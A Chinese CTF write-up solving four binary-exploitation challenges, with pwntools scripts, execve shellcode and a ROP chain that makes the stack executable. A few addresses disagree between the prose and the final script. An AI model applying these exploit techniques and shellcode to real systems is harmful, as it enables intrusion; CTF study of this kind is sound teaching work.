Pwn

Pwn1

拿到程序IDA分析

Pwn_第1张图片

发现就是一个输入字符串,长度大于0x500就直接执行cat flag。虽然溢出了,但是和溢出没有太大关系

所以利用代码如下:

from pwn import *
p = remote ("139.224.220.67" ,30004)
payload = 'a'*0x501
p.sendline(payload)
p.interactive()


Pwn2

打开IDA分析,是一个经典的栈溢出,scanf输入的时候并没有对长度进行限制,因此可以一直覆盖到返回地址

那么我们可以把返回地址覆盖为题目中给出的getflag函数即可。

Pwn_第2张图片

Pwn_第3张图片

所以利用代码如下:

from pwn import *
p = remote ("139.224.220.67" ,30006)
e=ELF("chall")
payload = 'a'*0x108
payload += 'a'*0x4
payload += p32(e.symbols['getflag'])
p.sendline(payload)
p.interactive()


Pwn_第4张图片

Pwn3

IDA分析一下

Pwn_第5张图片

发现就是分配了一块内存,地址为0xdeadb000,然后从输入流读入数据到该地址,然后执行该地址的内容。

即程序会执行我们输入的机器码。所以,直接在https://www.exploit-db.com/找到一个shellcode发送过去即可。

代码如下:

from pwn import *
p = remote ("139.224.220.67" ,30007)

shellcode ="\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"


p.sendline(shellcode)
p.interactive()

Pwn_第6张图片


Pwn4

比较复杂地一道题目。

         首先用IDA分析发现,没有了常见的红色区域,红色区域标志着是调用的外部函数,采用的动态链接的方式调用。所以该题应该是把所有使用到的函数都编译到了程序里面。


Pwn_第7张图片                                               Pwn_第8张图片

然后把可执行文件拖到虚拟机中checksec一下。

Pwn_第9张图片

发现是32位程序,保护机制只开启了栈执行保护。

接着找漏洞

程序的逻辑比较简单,main函数调用fun函数,fun函数执行了一个read,向v1的空间中最多读入256个字符,然而v1距离ebp只有9个字节。因此可以覆盖到返回地址,控制程序流程。

Pwn_第10张图片

既然程序是静态编译,我们首先想到的是在程序中的函数中找有没有system函数或者execve函数。在IDA中直接按名称查找。

Pwn_第11张图片    Pwn_第12张图片

显然没有找到这种函数。

但是偶然发现了一个_dl_make_stack_executable函数。按照意思是可以将栈变为可执行,那么我们就可以直接在栈上布置shellcode然后执行了。搜索了一下,发现确实可以使用这个函数使得栈变得可执行,步骤如下:

(1)将_stack_prot的值改为0x7

(2)将libc_stack_end的地址赋给eax

(3)调用_dl_make_stack_executable函数

所以我们的思路就有了。首先做以上三步,将栈变为可执行。然后布置shellcode。

第一步:将_stack_prot的值改为0x7。

    在IDA中搜索字符串"_stack_prot"


然后点击__stack_prot即可得到__stack_prot的地址:


即第一步需要将0x80e9fec地址处的值改为7。

可以使用read函数,从输入流中向该地址读取数据,这样我们只要发送一个7过去就可以将其改成7了。

即调用read(0,0x80e9fe4,0x4)

首先在IDA中找到read函数的地址为0x806d270

read = 0x806d270


所以第一步的rop链按照如下方法构造

rop='a'*0x9  //距离ebp 9个字节

rop+= 'a'*0x4//覆盖ebp

rop+= p32(read)//覆盖返回地址

rop+=p32(ppp_ret) //pop pop pop ret的地址,用于执行read之后返回,从而将参数弹空

rop+=p32(0)+p32(stack_prot)+p32(4)//read函数的参数

这时候要注意了,我们还需要后续继续控制执行流程,因此需要将三个参数pop出去,所以在read函数执行完之后的返回地址,我们将其覆盖为pop pop pop ret的地址。这种类型的指令块我们一般叫gadget。

找到gadget可以使用如下命令:

ROPgadget --binary rop --only  "pop|ret"

Pwn_第13张图片

然后从中随便选取一个三个pop 后ret的即可   比如:0x08062d3b : pop edi ; pop esi ; pop ebx ; ret

第二步:将libc_stack_end的地址给eax

IDA查看libc_stack_end的地址,发现是0x80e9fc8


所以只需要将0x80e9fc8赋值给eax,想到找pop eax,ret类型的gadget,就可以控制eax了。

结合上一步中寻找gadget的命令使用如下命令:

ROPgadget --binary rop --only "pop|ret"|grep "pop eax"


可以发现0x80b7e56处的指令很符合我们的需求。

所以rop的第二步如下构造:

rop+=pop_eax_ret //gadget的地址

rop+=libc_stack_end //想要赋给eax的值,也就是libc_stack_end的地址,为0x80e9fc8

第三步:调用_dl_make_stack_executable,所以rop继续如此构造

rop+= _dl_make_stack_executable  //_dl_make_stack_executable函数的地址


到此我们已经成功让栈变得可以执行了。下面就是针对没有栈执行保护的系统的栈溢出攻击了。

在www.exploit-db.com上找到一个shellcode:

shellcode ="\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"

然后需要寻找一个jmp esp或者call esp的地址。

Pwn_第14张图片

我们这次选择了 call esp,即下面的0x88c92b0

所以最后一步的rop构造:

rop+=call_esp 

rop += shellcode 

最后总的代码如下:

from pwn import *
# p=process("rop")
p = remote("139.224.220.67" ,30002)

# gdb.attach(p,"b *0x804889a")


call_esp =0x080c92b0

stack_prot = 0x80E9FEC
__libc_stack_end = 0x80e9fc8
_dl_make_stack_executable=0x8099DD0
read = 0x806d270

ppp_ret=0x08062d3b
peax_ret=0x080b7e56

shellcode ="\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"


rop = 'a'*0x9 + 'a'*0x4 + p32(read) + p32(ppp_ret) + p32(0)+p32(stack_prot)+p32(0x4)
rop += p32(peax_ret)+p32(__libc_stack_end)+p32(_dl_make_stack_executable)
rop += p32(call_esp)+shellcode
p.sendline(rop)
p.sendline(p32(7))
p.interactive()


# 0x080c92b0 : call esp

# 0x080b7e56 : pop eax ; ret

# 0x08062d3b : pop edi ; pop esi ; pop ebx ; ret
Pwn_第15张图片

你可能感兴趣的:(CTF)